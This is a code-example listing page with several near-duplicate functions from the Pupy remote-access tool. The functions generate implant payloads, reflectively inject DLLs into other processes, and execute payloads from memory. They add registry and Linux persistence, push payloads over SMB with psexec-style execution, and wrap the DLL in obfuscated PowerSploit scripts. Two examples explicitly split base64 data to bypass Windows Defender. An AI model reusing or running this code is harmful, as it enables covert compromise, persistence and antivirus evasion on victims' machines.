Пример #1
0
 def uploadPupyDLL(self, force_x86_dll=False):
     '''
     Upload pupy dll as a txt file
     '''
     res=self.module.client.conn.modules['pupy'].get_connect_back_host()
     host, port = res.rsplit(':',1)
     logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
     logging.info("Looking for process architecture...")
     logging.info("force x86 is %s"%force_x86_dll)
     conf = self.module.client.get_conf()
     if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
         dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x64', shared=True)
     else:
         dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x86', shared=True)
     
     logging.info("Creating the pupy dll (%s) in %s locally"%(tpl, self.pupyDLLLocalPath))
     with open(self.pupyDLLLocalPath, 'w+') as w:
         #the following powershell line in a txt file is detected by Windows defender
         #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
         #To bypass antivirus detection:
         dllbuffEncoded = base64.b64encode(dllbuff)
         w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:]))
     
     logging.info("Uploading pupy dll {0} to {1}".format(self.pupyDLLLocalPath, self.pupyDLLRemotePath))
     upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
Пример #2
0
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
        Upload pupy dll as a txt file
        '''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.debug("Address configured is %s:%s for pupy dll..." %
                      (host, port))
        logging.debug("Looking for process architecture...")

        conf = self.module.client.get_conf()
        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x64', shared=True)
        else:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x86', shared=True)

        logging.debug("Creating the pupy dll (%s) in %s locally" %
                      (tpl, self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
                    (base64.b64encode(dllbuff)))

        logging.debug("Uploading pupy dll in {0}".format(
            self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
    def uploadPupyDLL(self, force_x86_dll=False):
        '''
        Upload pupy dll as a txt file
        '''
        res = self.module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        logging.info("Address configured is %s:%s for pupy dll..." %
                     (host, port))
        logging.info("Looking for process architecture...")
        logging.info("force x86 is %s" % force_x86_dll)
        conf = self.module.client.get_conf()
        if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x64', shared=True)
        else:
            dllbuff, tpl, _ = pupygen.generate_binary_from_template(
                conf, 'windows', arch='x86', shared=True)

        logging.info("Creating the pupy dll (%s) in %s locally" %
                     (tpl, self.pupyDLLLocalPath))
        with open(self.pupyDLLLocalPath, 'w+') as w:
            #the following powershell line in a txt file is detected by Windows defender
            #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
            #To bypass antivirus detection:
            dllbuffEncoded = base64.b64encode(dllbuff)
            w.write(
                '$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'
                .format(dllbuffEncoded[0:2], dllbuffEncoded[2:]))

        logging.info("Uploading pupy dll {0} to {1}".format(
            self.pupyDLLLocalPath, self.pupyDLLRemotePath))
        upload(self.module.client.conn, self.pupyDLLLocalPath,
               self.pupyDLLRemotePath)
Пример #4
0
    def linux(self, args):
        if args.remove:
            #TODO persistency removal
            self.error("not implemented for linux")
            return

        drop = self.client.remote('persistence', 'drop', False)
        exebuff, tpl, _ = pupygen.generate_binary_from_template(
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch,
            shared=args.shared)

        self.success(
            "Generating the payload with the current config from {} - size={}".
            format(tpl, len(exebuff)))

        drop_path, conf_path, method = drop(exebuff, args.shared)
        if drop_path and conf_path and method:
            self.success('Dropped: {} Method: {} Config: {}'.format(
                drop_path, method, conf_path))
        elif method:
            self.error('Failed: {}'.format(method))
        else:
            self.error('Couldn\'t make service persistent.')
Пример #5
0
    def linux(self, args):
        manager = self.client.conn.modules['persistence'].DropManager()
        self.success('Available methods: ' + ', '.join(
            method for method,state in manager.methods.iteritems() if state is True
        ))

        for method, result in manager.methods.iteritems():
            if result is not True:
                self.error('Unavailable method: {}: {}'.format(method, result))

        exebuff, tpl, _ = pupygen.generate_binary_from_template(
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch,
            shared=args.shared
        )

        self.success("Generating the payload with the current config from {} - size={}".format(
            tpl, len(exebuff)))

        if args.shared:
            drop_path, conf_path = manager.add_library(exebuff)
        else:
            drop_path, conf_path = manager.add_binary(exebuff)

        if drop_path and conf_path:
            self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
        else:
            self.error('Couldn\'t make service persistent.')
Пример #6
0
    def run(self, args):
        self.success("looking for configured connect back address ...")
        payload, tpl, _ = pupygen.generate_binary_from_template(
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch)
        self.success(
            "Generating the payload with the current config from {} - size={}".
            format(tpl, len(payload)))
        self.success("Executing the payload from memory ...")
        if self.client.is_windows():
            exec_pe(self,
                    "",
                    raw_pe=payload,
                    interactive=False,
                    fork=True,
                    timeout=None,
                    use_impersonation=args.impersonate,
                    suspended_process=args.process)
        elif self.client.is_linux():
            mexec(self,
                  payload, [],
                  argv0='/bin/bash',
                  stdout=False,
                  raw=True,
                  terminate=False)

        self.success("pupy payload executed from memory")
Пример #7
0
    def linux(self, args):
        if args.remove:
            #TODO persistency removal
            self.error("not implemented for linux")
            return
        manager = self.client.conn.modules['persistence'].DropManager()
        self.success('Available methods: ' + ', '.join(
            method for method,state in manager.methods.iteritems() if state is True
        ))

        for method, result in manager.methods.iteritems():
            if result is not True:
                self.error('Unavailable method: {}: {}'.format(method, result))

        exebuff, tpl, _ = pupygen.generate_binary_from_template(
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch,
            shared=args.shared
        )

        self.success("Generating the payload with the current config from {} - size={}".format(
            tpl, len(exebuff)))

        if args.shared:
            drop_path, conf_path = manager.add_library(exebuff)
        else:
            drop_path, conf_path = manager.add_binary(exebuff)

        if drop_path and conf_path:
            self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
        else:
            self.error('Couldn\'t make service persistent.')
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
    '''
    Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
    Ready for executing
    '''
    SPLIT_SIZE = 100000
    x86InitCode, x86ConcatCode = "", ""
    code = """
    $PEBytes = ""
    {0}
    $PEBytesTotal = [System.Convert]::FromBase64String({1})
    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
    """#{1}=x86dll
    binaryX86 = b64encode(
        generate_binary_from_template(payload_conf,
                                      'windows',
                                      arch='x86',
                                      shared=True)[0])
    binaryX86parts = [
        binaryX86[i:i + SPLIT_SIZE]
        for i in range(0, len(binaryX86), SPLIT_SIZE)
    ]
    for i, aPart in enumerate(binaryX86parts):
        x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
        x86ConcatCode += "$PEBytes{0}+".format(i)
    print(
        colorize("[+] ", "green") +
        "X86 pupy dll loaded and {0} variables generated".format(i + 1))
    script = obfuscatePowershellScript(
        open(
            os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
                         "Invoke-ReflectivePEInjection.ps1"), 'r').read())
    return obfs_ps_script("{0}\n{1}".format(
        script, code.format(x86InitCode, x86ConcatCode[:-1])))
Пример #9
0
def get_payload(module, compressed=True, debug=False, from_payload=None):
    dllbuff = None
    if from_payload:
        with open(from_payload, 'rb') as payload:
            dllbuff = payload.read()

        module.success('Precompiled payload: {}'.format(from_payload))
    else:
        conf = module.client.get_conf()
        dllbuff, _, _ = pupygen.generate_binary_from_template(
            module.log,
            conf, 'linux',
            arch=module.client.arch, shared=True,
            debug=debug or conf['debug']
        )

    if not compressed:
        return dllbuff

    dllgzbuf = cStringIO.StringIO()
    gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
    gzf.write(dllbuff)
    gzf.close()

    return dllgzbuf.getvalue()
Пример #10
0
def migrate(module, pid, keep=False, timeout=30):
    module.client.load_package("pupwinutils.processes")
    dllbuf=b""
    isProcess64bits=False
    module.success("looking for configured connect back address ...")
    res=module.client.conn.modules['pupy'].get_connect_back_host()
    host, port=res.rsplit(':',1)
    module.success("address configured is %s:%s ..."%(host,port))
    module.success("looking for process %s architecture ..."%pid)
    arch = None
    if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
        isProcess64bits=True
        arch='x64'
        module.success("process is 64 bits")
    else:
        arch='x86'
        module.success("process is 32 bits")
    conf=module.client.get_conf()

    #uncomment this to debug pupy injected DLL loading
    #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False)

    dllbuff, filename, _ = pupygen.generate_binary_from_template(
        conf, 'windows',
        arch=arch, shared=True
    )
    module.success("Template: {}".format(filename))

    module.success("injecting DLL in target process %s ..."%pid)
    module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
    module.success("DLL injected !")

    if keep:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    mexit = rpyc.timed(module.client.conn.exit, 5)
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            try:
                try:
                    mexit()
                except:
                    pass
                module.success("migration completed")
                module.client.conn._conn.close() # force the socket to close and clean sessions list
            except Exception:
                pass

            break
        elif time.time() > time_end:
            module.error("migration timed out !")
            break
        time.sleep(0.5)
Пример #11
0
    def run(self, args):
        #usefull for bind connection
        launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address']
        newClientConf = self.client.get_conf()
        listeningAddressPort =None #For Bind mode
        if self.client.is_windows() and launcherType == "bind":
            listeningPort = -1
            self.info('The current pupy launcher is using a BIND connection on the Windows target.')
            self.info('It is listening on {0} on the target'.format(addressPort))
            self.info('For the duplication, you have to choose another port and it will '
                      'listen on this new specific port on the target')
            self.info("Be careful, you have to choose a port which is not used on the target!")
            self.info("Be careful to firewall configuration/rules on the target too...")
            while listeningPort==-1:
                try:
                    listeningPort = int(input("[?] Give me the listening port to use on the target: "))
                except Exception as e:
                    self.warning("You have to give me a valid port. Try again. ({})".format(e))
            listeningAddress = addressPort.split(':')[0]
            listeningAddressPort = "{0}:{1}".format(listeningAddress, listeningPort)
            self.info("The new pupy instance will listen on {0} on the target".format(listeningAddressPort))
            newClientConf = self.client.get_conf()
            #Modify the listening port on the conf. If it is not modified,
            #the payload will listen on the same port as the inital pupy launcher on the target
            newClientConf['launcher_args'][newClientConf['launcher_args'].index("--port")+1] = str(listeningPort)
            #Delete --oneliner-host argument, not compatible with exe payload
            for pos, val in enumerate(newClientConf['launcher_args']):
                if "--oneliner-host" in val:
                    newClientConf['launcher_args'][pos]=""
                    newClientConf['launcher_args'][pos+1]=""

        self.success("Generating the payload...")
        payload, tpl, _ = pupygen.generate_binary_from_template(
            self.log,
            newClientConf,
            self.client.desc['platform'],
            arch=self.client.arch
        )
        self.success("Payload generated with the current config from {} - size={}".format(tpl, len(payload)))
        self.success("Executing the payload from memory ...")
        if self.client.is_windows():
            exec_pe(
                self, "", raw_pe=payload, interactive=False,
                use_impersonation=args.impersonate, suspended_process=args.process,
                wait=False
            )
        elif self.client.is_linux():
            mexec(self, payload, [], argv0='/bin/bash', raw=True)
        self.success("pupy payload executed from memory")
        if self.client.is_windows() and launcherType == "bind":
            self.success(
                    'You have to connect to the target manually on {0}: '
                    'try "connect --host {0}" in pupy shell'.format(listeningAddressPort))
Пример #12
0
def get_payload(module, compressed=True):
    dllbuf, _, _ = pupygen.generate_binary_from_template(
        module.client.get_conf(), 'linux',
        arch=module.client.arch, shared=True
    )

    if not compressed:
        return dllbuf

    dllgzbuf = cStringIO.StringIO()
    gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
    gzf.write(dllbuf)
    gzf.close()

    return dllgzbuf.getvalue()
Пример #13
0
def get_payload(module, compressed=True):
    dllbuf, _, _ = pupygen.generate_binary_from_template(
        module.client.get_conf(),
        'linux',
        arch=module.client.arch,
        shared=True)

    if not compressed:
        return dllbuf

    dllgzbuf = cStringIO.StringIO()
    gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
    gzf.write(dllbuf)
    gzf.close()

    return dllgzbuf.getvalue()
Пример #14
0
    def run(self, args):
        self.success("looking for configured connect back address ...")
        payload, tpl, _ = pupygen.generate_binary_from_template(
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch
        )
        self.success("Generating the payload with the current config from {} - size={}".format(tpl, len(payload)))
        self.success("Executing the payload from memory ...")
        if self.client.is_windows():
            exec_pe(
                self, "", raw_pe=payload,
                interactive=False, fork=True, timeout=None,
                use_impersonation=args.impersonate, suspended_process=args.process
            )
        elif self.client.is_linux():
            mexec(self, payload, [], argv0='/bin/bash', stdout=False, raw=True, terminate=False)

        self.success("pupy payload executed from memory")
Пример #15
0
    def windows(self, args):
        exebuff=b""
        if args.exe:
            with open(args.exe,'rb') as f:
                exebuff=f.read()
            self.info("loading %s ..."%args.exe)
        else:
            #retrieving conn info
            res=self.client.conn.modules['pupy'].get_connect_back_host()
            host, port=res.rsplit(':',1)
            #generating exe
            exebuff, tpl, _ = pupygen.generate_binary_from_template(
                self.client.get_conf(),
                self.client.desc['platform'],
                arch=self.client.arch
            )

            self.success("Generating the payload with the current config from {} - size={}".format(
                tpl, len(exebuff)))

        remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
        self.info("uploading to %s ..."%remote_path)
        #uploading
        rf=self.client.conn.builtin.open(remote_path, "wb")
        chunk_size=16000
        pos=0
        while True:
            buf=exebuff[pos:pos+chunk_size]
            if not buf:
                break
            rf.write(buf)
            pos+=chunk_size
        rf.close()
        self.success("upload successful")

        #adding persistency
        self.info("adding to registry ...")
        self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
        self.info("registry key added")

        self.success("persistence added !")
Пример #16
0
def migrate(module, pid, keep=False, timeout=30, bindPort=None):
    '''
    - bindPort: The port used for listening on the target WHEN the current launcher uses a BIND connection.
                When the current launcher uses a BIND connection, this session is kept even if keep==False
                When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy), bindPort is not used in this function
    '''
    module.client.load_package("pupwinutils.processes")
    isProcess64bits = False
    isBindConnection = False  #If current launcher uses a BIND connection, isBindConnection == True
    module.success("looking for configured connect back address ...")
    try:
        res = module.client.conn.modules['pupy'].get_connect_back_host()
        host, port = res.rsplit(':', 1)
        module.success("address configured is %s:%s ..." % (host, port))
    except:
        if not keep:
            module.error(
                "launcher doesn't support connect back host information, disable keep"
            )
            keep = True

    module.success("looking for process %s architecture ..." % pid)
    arch = None
    if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
        isProcess64bits = True
        arch = 'x64'
        module.success("process is 64 bits")
    else:
        arch = 'x86'
        module.success("process is 32 bits")
    conf = module.client.get_conf()

    #Manage when current launcher uses a BIND connection (and not a REVERSE connection)
    if module.client.desc['launcher'] == "bind":
        isBindConnection = True
        module.success("the current launcher uses a bind connection")
        module.success(
            "the bind port {0} is defined in DLL configuration".format(
                bindPort))
        conf['launcher_args'][conf['launcher_args'].index("--port") +
                              1] = str(bindPort)

    dllbuff, filename, _ = pupygen.generate_binary_from_template(module.log,
                                                                 conf,
                                                                 'windows',
                                                                 arch=arch,
                                                                 shared=True)
    module.success("Template: {}".format(filename))

    module.success("injecting DLL in target process %s ..." % pid)
    module.client.conn.modules['pupy'].reflective_inject_dll(
        pid, dllbuff, isProcess64bits)
    module.success("DLL injected !")

    if keep or isBindConnection:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            module.client.conn.exit()
            module.success("migration completed")
            break

        elif time.time() > time_end:
            module.error("migration timed out !")
            break

        time.sleep(0.5)
Пример #17
0
def migrate(module, pid, keep=False, timeout=30, bindPort=None, debug=False, from_payload=None):
    '''
    - bindPort: The port used for listening on the target WHEN the current launcher uses a BIND connection.
                When the current launcher uses a BIND connection, this session is kept even if keep==False
                When bindPort!=None and the current launcher uses a REVERSE connection (e.g. connect, auto_proxy),
                bindPort is not used in this function
    '''
    module.client.load_package('pupwinutils.processes')
    isProcess64bits = False
    # If current launcher uses a BIND connection, isBindConnection == True
    isBindConnection = False

    module.success("looking for process %s architecture ..."%pid)
    arch = None

    is_process_64 = module.client.remote('pupwinutils.processes', 'is_process_64')

    if is_process_64(pid):
        isProcess64bits = True
        arch = 'x64'
        module.success("process is 64 bits")
    else:
        arch ='x86'
        module.success("process is 32 bits")

    dllbuff = None
    if from_payload:
        with open(from_payload, 'rb') as payload:
            dllbuff = payload.read()

        keep = True
        module.success('Precompiled payload: {}'.format(from_payload))
    else:
        conf = module.client.get_conf()

        #Manage when current launcher uses a BIND connection (and not a REVERSE connection)
        if module.client.desc['launcher'] not in ('connect', 'auto_proxy'):
            keep = True
            module.warning('Enable keep (forced)')

        if module.client.desc['launcher'] == "bind":
            isBindConnection = True
            module.success("the current launcher uses a bind connection")
            module.success("the bind port {0} is defined in DLL configuration".format(bindPort))
            conf['launcher_args'][conf['launcher_args'].index("--port")+1] = str(bindPort)

        dllbuff, filename, _ = pupygen.generate_binary_from_template(
            module.log,
            conf, 'windows',
            arch=arch, shared=True, debug=debug
        )

        module.success("Template: {}".format(filename))

    dllbuff = str(dllbuff)

    if module.config.getboolean('pupyd', 'alt_header'):
        module.warning('Using ALT markers')
        # Use ALT markers to simplify debugging
        for offt in xrange(0, 1024, 4):
            if dllbuff[offt:offt+4] == 'PE\0\0':
                dllbuff = ''.join([
                    'HE',
                    dllbuff[2:offt],
                    '\xb5\x00[\xb1',
                    dllbuff[offt+4:]
                ])

    module.success("injecting DLL in target process %s ..."%pid)

    reflective_inject_dll = module.client.remote(
        'pupy', 'reflective_inject_dll', False)
    reflective_inject_dll(
        int(pid), dllbuff, bool(isProcess64bits)
    )

    module.success("DLL injected !")

    if keep or isBindConnection:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            module.client.conn.exit()
            module.success("migration completed")
            break

        elif time.time() > time_end:
            module.error("migration timed out !")
            break

        time.sleep(0.5)
Пример #18
0
def serve(module,
          payload_config,
          timeout=DEFAULT_TIMEOUT,
          host=None,
          port=445,
          user=None,
          domain=None,
          password=None,
          ntlm=None,
          execm='smbexec',
          arch=None):

    if arch is None:
        # Use native arch
        arch = module.client.arch

    payload, tpl, _ = generate_binary_from_template(module.log,
                                                    payload_config,
                                                    'windows',
                                                    arch=arch,
                                                    shared=True)

    module.success(
        "Generating native payload with the current config from {} - size={}".
        format(tpl, len(payload)))

    dotnet_payload_path = DotNetPayload(
        module.log, module.client.pupsrv, payload_config,
        payload).gen_exe(options='-target:library')

    dotnet_payload = None

    if not dotnet_payload_path:
        module.error(".NET Compilation failed")
        return

    with open(dotnet_payload_path, 'rb') as dotnet_payload_obj:
        dotnet_payload = dotnet_payload_obj.read()

    unlink(dotnet_payload_path)

    module.success("Wrapped .NET payload - size={}".format(
        len(dotnet_payload)))

    push_payload = None

    if host is None:
        module.client.load_package('powerloader')
        push_payload = module.client.remote('powerloader', 'push_payload',
                                            False)
    else:
        module.client.load_package('pupyutils.psexec')
        pupy_smb_exec = module.client.remote('pupyutils.psexec',
                                             'pupy_smb_exec', False)

        def _push_payload(payload, timeout=90, log_cb=None):
            return pupy_smb_exec(host,
                                 port,
                                 user,
                                 domain,
                                 password,
                                 ntlm,
                                 payload,
                                 execm=execm,
                                 timeout=timeout,
                                 log_cb=log_cb)

        push_payload = _push_payload

    completion = Event()

    def _power_logger(result, info):
        hostinfo = ''
        if host is not None:
            hostinfo = ' ({})'.format(host)

        if result is None:
            module.info('PowerLoader{}: {}'.format(hostinfo, info))
            return

        if result is False:
            module.error('PowerLoader{}: {}'.format(hostinfo, info))
        elif result is True:
            module.success('PowerLoader{}: {}'.format(hostinfo, info))

        if completion:
            completion.set()

    cmd, pipename = push_payload(dotnet_payload,
                                 timeout=timeout,
                                 log_cb=_power_logger)

    if not cmd or not pipename:
        module.error('PowerLoader: failed')
        return None, None

    module.success(
        "PowerLoader: Serving payload to pipe={} for {} seconds".format(
            pipename, timeout))

    return cmd, completion
Пример #19
0
def migrate(module, pid, keep=False, timeout=30):
    module.client.load_package("pupwinutils.processes")
    dllbuf=b""
    isProcess64bits=False
    module.success("looking for configured connect back address ...")
    try:
        res=module.client.conn.modules['pupy'].get_connect_back_host()
        host, port=res.rsplit(':',1)
        module.success("address configured is %s:%s ..."%(host,port))
    except:
        if not keep:
            module.error("launcher doesn't support connect back host information, disable keep")
            keep = True

    module.success("looking for process %s architecture ..."%pid)
    arch = None
    if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
        isProcess64bits=True
        arch='x64'
        module.success("process is 64 bits")
    else:
        arch='x86'
        module.success("process is 32 bits")
    conf=module.client.get_conf()

    #uncomment this to debug pupy injected DLL loading
    #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False)

    dllbuff, filename, _ = pupygen.generate_binary_from_template(
        conf, 'windows',
        arch=arch, shared=True
    )
    module.success("Template: {}".format(filename))

    module.success("injecting DLL in target process %s ..."%pid)
    module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
    module.success("DLL injected !")

    if keep:
        return

    module.success("waiting for a connection from the DLL ...")
    time_end = time.time() + timeout
    c = False
    mexit = rpyc.timed(module.client.conn.exit, 5)
    while True:
        c = has_proc_migrated(module.client, pid)
        if c:
            module.success("got a connection from migrated DLL !")
            c.pupsrv.move_id(c, module.client)
            try:
                try:
                    mexit()
                except:
                    pass
                module.success("migration completed")
                module.client.conn._conn.close() # force the socket to close and clean sessions list
            except Exception:
                pass

            break
        elif time.time() > time_end:
            module.error("migration timed out !")
            break
        time.sleep(0.5)